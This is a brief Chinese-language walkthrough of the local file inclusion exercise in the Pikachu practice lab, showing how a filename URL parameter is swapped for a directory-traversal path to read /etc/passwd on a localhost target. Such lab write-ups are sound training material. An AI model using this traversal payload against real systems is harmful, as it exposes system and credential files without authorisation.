实验环境:
皮卡丘靶场—File Inclusion(local)
实验步骤:
-
正常提交查询内容:
-
查看URL,发现此URL向后台传了一个文件名:
http://localhost/pikaqiu.cn/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 -
这些文件均为后台文件。但是由于文件名是前端传到后端的,这意味着前端的用户可以修改这些文件;
-
(1)通过目录跳转的方式,将文件名改成后台的配置文件(猜测后台为linux OS,linux有很多固定的配置文件)即可看到配置文件:
http://localhost/pikaqiu.cn/vul/fileinclude/fi_local.php?filename=…/…/…/…/…/etc/passwd&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2